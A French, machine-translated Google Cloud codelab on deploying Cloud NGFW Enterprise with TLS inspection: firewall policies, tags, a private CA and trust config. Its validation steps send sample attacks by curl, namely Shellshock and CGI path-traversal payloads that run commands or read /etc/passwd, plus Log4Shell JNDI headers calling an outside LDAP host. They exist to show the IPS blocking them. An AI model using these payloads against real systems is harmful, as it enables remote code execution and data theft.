Cette page a été traduite par l'API Cloud Translation.

Atelier de programmation Cloud NGFW Enterprise [avec inspection TLS]

1. Introduction

Cloud Next Generation Firewall (NGFW)

Cloud nouvelle génération de pare-feu est un service de pare-feu entièrement distribué avec des fonctionnalités de protection avancées, une microsegmentation et une couverture omniprésente pour protéger vos charges de travail Google Cloud contre les attaques internes et externes.

Cloud NGFW présente les avantages suivants :

Service de pare-feu distribué: Cloud NGFW fournit une application avec état, entièrement distribuée et basée sur l'hôte pour chaque charge de travail, afin d'activer une architecture de sécurité zéro confiance.
Configuration et déploiement simplifiés: Cloud NGFW met en œuvre des stratégies de pare-feu hiérarchiques et de réseau qui peuvent être associées à un nœud de hiérarchie de ressources. Ces stratégies fournissent une expérience de pare-feu cohérente dans la hiérarchie des ressources Google Cloud.
Contrôle précis et microsegmentation: la combinaison de stratégies de pare-feu et de tags gérés par IAM (Identity and Access Management) permet de contrôler précisément le trafic nord-sud et est-ouest, jusqu'à une seule VM, sur les réseaux et organisations de cloud privé virtuel (VPC).

Cloud NGFW est disponible dans les niveaux suivants :

Cloud Next Generation Firewall Essentials
Cloud Next Generation Firewall Standard
Cloud nouvelle génération de pare-feu Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise ajoute le service de prévention des intrusions (IPS), une capacité de couche 7, à la structure de pare-feu distribuée de Google Cloud. L'inspection TLS permet d'inspecter le trafic chiffré par TLS.

Vous pouvez désormais déployer des inspections de pare-feu nouvelle génération de couche 7 (NGFW) fiables avec des contrôles précis, sans modifier votre architecture réseau ni vos configurations de routage.

Pour activer et déployer un contrôle de pare-feu de couche 7 avec IPS, vous devez effectuer les tâches suivantes:

Créer un ensemble de points de terminaison de pare-feu zonaux gérés par Google Cloud
Vous pouvez également créer une règle d'inspection TLS.
Vous pouvez également créer une configuration de confiance.
Associez ces points de terminaison aux réseaux de cloud privé virtuel (VPC) pour lesquels vous avez besoin du service Cloud NGFW Enterprise.
Apportez des modifications simples à vos stratégies de pare-feu et règles de pare-feu existantes afin de spécifier les profils de prévention des menaces pour les différents chemins de trafic.

Stratégies de pare-feu réseau

La stratégie de pare-feu réseau agit comme un conteneur pour les règles de pare-feu. Les règles définies dans une stratégie de pare-feu réseau ne sont appliquées nulle part tant que la stratégie n'est pas associée à un réseau VPC. Chaque réseau VPC peut être associé à une stratégie de pare-feu réseau. Les stratégies de pare-feu réseau acceptent les tags gérés par IAM (ou simplement les tags) dans les règles de pare-feu, qui remplacent les tags réseau actuels et peuvent être utilisés pour fournir une identité à la charge de travail.

Le partage d'une stratégie de pare-feu réseau entre les réseaux et l'intégration avec des tags gérés par IAM simplifie considérablement la configuration et la gestion des pare-feu.

Avec l'introduction des stratégies de pare-feu réseau, les stratégies de pare-feu Google Cloud comprennent désormais les composants suivants:

Stratégie de pare-feu hiérarchique
Règles de pare-feu VPC
Stratégie de pare-feu réseau ( mondiale et régionale)

Les stratégies de pare-feu hiérarchiques sont prises en charge au niveau des nœuds d'organisation et de dossier au sein de la hiérarchie des ressources, tandis que les règles de pare-feu VPC et les stratégies de pare-feu réseau sont appliquées au niveau du VPC. La grande différence entre les règles de pare-feu VPC et les stratégies de pare-feu réseau réside dans le fait que les règles de pare-feu VPC ne peuvent être appliquées qu'à un seul réseau VPC, tandis que les stratégies de pare-feu réseau peuvent être associées à un seul VPC ou groupe de VPC, entre autres avantages tels que les mises à jour groupées.

Enfin, nous avons également les règles de pare-feu implicites fournies avec chaque réseau VPC:

Une règle de sortie dont l'action est allow, à destination de 0.0.0.0/0
Une règle d'entrée dont l'action est "deny", la source est 0.0.0.0/0.

Par défaut, la séquence d'application est illustrée dans le schéma suivant:

Veuillez noter que l'ordre d'application entre les règles de pare-feu VPC et la stratégie de pare-feu réseau globale peut être échangé. Les clients peuvent spécifier l'ordre d'application à tout moment à l'aide d'une commande gcloud.

Objectifs de l'atelier

Cet atelier de programmation nécessite un seul projet. Vous devez également être capable de créer un réseau VPC, ainsi que de gérer un certain nombre de ressources réseau et de sécurité. Il montrera comment Cloud NGFW Enterprise peut fournir la fonctionnalité IPS en:

Inspecter des flux Internet en limite nord avec l'inspection TLS
Inspecter les flux intra-vpc [East-West] avec l'inspection TLS

Les flux à inspecter seront sélectionnés à l'aide des paramètres de mise en correspondance de Cloud Firewall, y compris des cinq tuples (IP source, adresse IP de destination, protocole, port source, port de destination) et des tags.

L'état final de la base de règles de la stratégie de pare-feu réseau sera semblable au tableau ci-dessous:

Priorité	Sens	Cible	Source	Destination	Action	Type
100	Entrée	Server_Tag	Vérifications d'état	Tous	Autoriser	Les indispensables
200	Entrée	Client_Tag, Server_Tag	IAP	Tous	Autoriser	Les indispensables
800	Entrée	Server_Tag	10.0.0.0/24	10.0.0.0/24	Inspection de niveau 7	Entreprise
850	Sortie	Client_Tag	Tous	10.0.0.0/24	Autoriser	Les indispensables
900	Sortie	Client_Tag	Tous	Tous	Inspection de niveau 7	Entreprise

Points abordés

Créer une stratégie de pare-feu réseau
Créer et utiliser des tags avec une stratégie de pare-feu réseau
Configurer et utiliser Cloud NGFW Enterprise avec inspection TLS

Prérequis

projet Google Cloud.
Vous maîtrisez le déploiement d'instances et la configuration des composants réseau.
Connaissances de la configuration des pare-feu VPC

2. Avant de commencer

Créer/Mettre à jour des variables

Cet atelier de programmation utilise $variables pour faciliter l'implémentation de la configuration gcloud dans Cloud Shell.

Dans Cloud Shell, exécutez les commandes ci-dessous en remplaçant les informations entre crochets si nécessaire:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Activer les API

Si vous ne l'avez pas encore fait, activez les API:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Création d'un point de terminaison Cloud NGFW Enterprise

La création du point de terminaison Cloud NGFW Enterprise prend environ 20 minutes. Il sera donc créé en premier, et la configuration de base peut être effectuée en parallèle pendant la création du point de terminaison.

Créez le profil de sécurité et le groupe de profils de sécurité:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Résultat attendu :

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

Vérifiez que les ressources ont bien été créées:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Résultat attendu (notez que le format de sortie peut varier en fonction du client utilisé:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Créez le point de terminaison Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing

Exécutez la commande ci-dessous pour vérifier que le point de terminaison est en cours de création (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Résultat attendu (notez que le format de sortie peut varier en fonction du client utilisé):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Vous pouvez également exécuter la commande ci-dessous pour en savoir plus:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Résultat attendu :

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Le processus de création prend environ 20 minutes. Passez à la section "Configuration de base" pour créer les ressources requises en parallèle.

5. Configuration de base

Réseau et sous-réseau VPC

Réseau VPC et sous-réseau

Créez le réseau et le sous-réseau VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Créez le routeur Cloud Router et la passerelle Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instances

Créez les instances client et Web-server:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Tags au niveau du projet

Attribuez l'autorisation tagAdmin à l'utilisateur si nécessaire:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Créez la clé et les valeurs de tag au niveau du projet:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Liez les tags aux instances:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Stratégie de pare-feu réseau mondiale

Créez une stratégie de pare-feu réseau globale:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Créez les règles Cloud Firewall Essentials requises pour autoriser le trafic provenant des plages de vérification de l'état et de proxy sensible à l'identité:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Créez les règles de pare-feu Cloud requises pour autoriser le trafic d'entrée est-ouest/intra-sous-réseau à partir des plages spécifiques (ces règles seront mises à jour pour activer Cloud NGFW Enterprise avec inspection TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Associez la stratégie de pare-feu cloud au réseau VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Association des points de terminaison Cloud Firewall

Définissez les variables d'environnement si vous ne l'avez pas encore fait et/ou préférez l'approche basée sur les scripts.

Vérifiez que la création du point de terminaison Cloud Firewall a bien été effectuée. Ne continuez qu'une fois que l'état affiche ACTIVE (lors de la création, l'état attendu est CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Résultat attendu (notez que le format de sortie peut varier en fonction du client utilisé):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Vous pouvez également exécuter la commande ci-dessous pour en savoir plus:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Résultat attendu :

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Associez le point de terminaison Cloud Firewall au réseau VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Le processus d'association prend environ 10 minutes. Ne passez à la section TLS qu'une fois que l'état est indiqué comme ACTIVE (lors de la création, l'état attendu est CREATING):

gcloud network-security firewall-endpoint-associations list

Résultat attendu une fois l'opération terminée:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Vous pouvez également exécuter la commande ci-dessous pour en savoir plus:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Résultat attendu :

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Configurer les ressources TLS

Créez un pool d'autorités de certification. Cette ressource servira à héberger le certificat CA racine que nous avons généré pour NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Créez l'autorité de certification racine. Il s'agit du certificat CA qui sera utilisé pour signer les certificats supplémentaires pour les requêtes via NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Si le message ci-dessous s'affiche, répondez y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

Créez un compte de service. Ce compte de service sera utilisé pour demander des certificats pour NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Définissez les autorisations IAM pour le compte de service:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Créez le fichier YAML de stratégie TLS. Ce fichier contiendra des informations sur les ressources spécifiques:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Importez la règle d'inspection TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Mettez à jour l'association de point de terminaison pour activer le protocole TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Obtenez le certificat CA et ajoutez-le au magasin CA du client:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Transférez le certificat CA au client:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Connectez-vous en SSH à la VM, déplacez le certificat CA vers /usr/local/share/ca-certificates et mettez à jour le magasin d'autorités de certification:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Quittez et revenez à Cloud Shell.

Processus de signature des certificats du serveur:

Dans Cloud Shell, installez la bibliothèque de cryptographie Pyca à l'aide de la commande pip:

pip install --user "cryptography>=2.2.0"

Pour autoriser le SDK Google Cloud à utiliser la bibliothèque de cryptographie Pyca, vous devez activer les packages de site.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Créez le certificat serveur:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

Les fichiers cert.pem et key.pem sont générés dans Cloudshell. Transférez ensuite le certificat et la clé sur le serveur.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Connectez-vous en SSH au serveur pour mettre à jour les détails du certificat pour Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Déplacez le certificat et la clé dans un dossier spécifique:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Mettez à jour la configuration SSL pour utiliser un certificat signé:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Redémarrez Apache:

sudo systemctl restart apache2

Vérifiez l'état d'Apache:

sudo systemctl status apache2

Elle doit être active (en cours d'exécution).

Quittez la VM et poursuivez sur Cloud Shell.

8. Valider la connectivité direction nord et E/W

Exécutez les commandes ci-dessous dans Cloud Shell et notez les adresses IP cibles à utiliser:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Ouvrez un nouvel onglet et établissez une connexion SSH à la VM cliente via IAP (vous devrez définir les variables dans le nouvel onglet):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Exécutez les commandes ci-dessous et notez les adresses IP cibles à utiliser. Créez les variables en remplaçant les valeurs entre crochets par les adresses IP indiquées à l'étape précédente et assurez-vous qu'elles sont accessibles:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Effectuez une rotation de l'adresse IP privée et assurez-vous qu'elle est accessible:

curl https://$target_privateip --max-time 2

Résultats attendus pour la requête curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Envoyez des exemples d'attaques à l'adresse IP. Le serveur Web doit répondre à toutes les requêtes et confirmer qu'aucune inspection/prévention L7 n'est en place:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Exemple de résultats attendus (adresse IP privée):

De même, envoyez des requêtes à une destination Internet:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Exemple de résultats attendus (destination Internet):

Quittez le terminal de la VM et revenez à Cloud Shell.

9. Créer et mettre à jour des règles de pare-feu pour l'inspection TLS

Précédemment, nous avons configuré une règle de pare-feu pour autoriser le trafic entrant vers notre serveur depuis le sous-réseau interne. Nous allons maintenant mettre à jour les règles d'entrée existantes et définir l'action sur "apply_security_profile_group". Cela activera l'inspection E/W L7 avec TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Créez une règle pour inspecter l'inspection L7 en limite nord avec TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Créez une règle autorisant la clause EGRESS pour E/W afin d'éviter une double inspection.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

10. Valider l'inspection TLS en direction du nord

Revenez à l'onglet de la VM cliente ou reconnectez-vous:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Envoyez les exemples d'attaques vers une destination Internet:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Aucune réponse n'est reçue conformément au résultat attendu ci-dessous, ce qui confirme que les exemples d'attaques sont désormais bloqués:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Définissez la variable sur l'adresse IP du serveur précédente:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Envoyez des exemples de requêtes TLS au serveur:

curl https://$target_privateip --max-time 2

Résultat attendu :

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Pourquoi cette demande a-t-elle échoué ? Cela est dû au fait que le pare-feu reçoit un certificat du serveur qui ne fait l'objet d'aucune approbation. Dans ce cas, un certificat autosigné est transmis au client. Nous devons ajouter le certificat CA dans le cadre d'une configuration de confiance pour activer l'approbation.

Revenez à Cloud Shell.

11. Configurer la configuration de l'approbation

Obtenez le certificat de l'autorité de certification racine et définissez-le comme variable avec un format approprié.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Configurez le fichier YAML de configuration de l'approbation. Ce fichier contient des informations sur la confiance, telles que les certificats CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Les commandes ci-dessus incluaient votre certificat CA racine dans le magasin de confiance, car le certificat de votre serveur a été signé à l'aide de l'autorité de certification racine. Cela signifie que le pare-feu fera confiance à tous les certificats qu'il reçoit et qui ont été signés par votre autorité de certification racine, en plus des autorités de certification publiques si votre stratégie TLS a exclusPublicCaSet sur "false".

Vérifiez le contenu de la configuration de confiance.

cat trust_config.yaml

Exemple de résultat :

Portez une attention particulière à l’alignement des retraits du certificat. Il doit respecter exactement ce format.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Importez la configuration de confiance:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Mettez à jour le fichier YAML de la stratégie TLS pour inclure la configuration de confiance:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Importez la règle TLS mise à jour:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Validation de l'inspection TLS E/W

Connectez-vous en SSH au client pour tester le trafic E/W avec la configuration de confiance mise à jour:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Exécutez l'exemple de requête TLS sur le serveur:

curl https://$target_privateip --max-time 2

Si vous obtenez toujours le résultat ci-dessous, veuillez attendre la propagation des mises à jour.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Résultat attendu :

